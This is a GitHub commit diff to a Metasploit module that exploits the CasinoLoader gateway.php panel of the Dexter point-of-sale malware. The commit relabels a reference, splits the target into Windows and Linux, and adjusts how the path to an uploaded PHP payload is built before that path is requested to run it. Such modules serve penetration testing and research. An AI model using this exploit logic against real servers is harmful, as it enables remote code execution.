Skip to content

Commit 48199fe

Browse files
committed
Change URL identifier, and make the user choose a target
1 parent 783e62e commit 48199fe

File tree

1 file changed

+10
-5
lines changed

1 file changed

+10
-5
lines changed

modules/exploits/multi/http/dexter_casinoloader_exec.rb

Lines changed: 10 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,9 @@ def initialize(info={})
2929
],
3030
'References' =>
3131
[
32-
["Analysis", "http://www.xylibox.com/2013/08/point-of-sale-malware-infostealerdexter.html"]
32+
[
33+
"URL", "http://www.xylibox.com/2013/08/point-of-sale-malware-infostealerdexter.html"
34+
]
3335
],
3436
'Payload' =>
3537
{
@@ -39,11 +41,12 @@ def initialize(info={})
3941
'Arch' => ARCH_PHP,
4042
'Targets' =>
4143
[
42-
['CasinoLoader gateway.php', {}]
44+
['CasinoLoader gateway.php on Windows', {}],
45+
['CasinoLoader gateway.php on Linux', {}]
4346
],
4447
'Privileged' => false,
45-
'DisclosureDate' => "Feb 08 2014",
46-
'DefaultTarget' => 0))
48+
'DisclosureDate' => "Feb 08 2014"
49+
))
4750

4851
register_options(
4952
[
@@ -154,7 +157,9 @@ def exploit
154157

155158
if res and res.code == 200 and res.body =~ /a href="upload.php\?del=(.*)">/
156159
path = $1
157-
path = path.sub! "\\", "/"
160+
if target.name =~ /Linux/
161+
path = path.sub! "\\", "/"
162+
end
158163
target_path = normalize_uri(target_uri.path, path)
159164
print_status("#{peer} - Requesting: #{target_path}")
160165
send_request_raw({'uri' => normalize_uri(target_path)})

0 commit comments

Comments
 (0)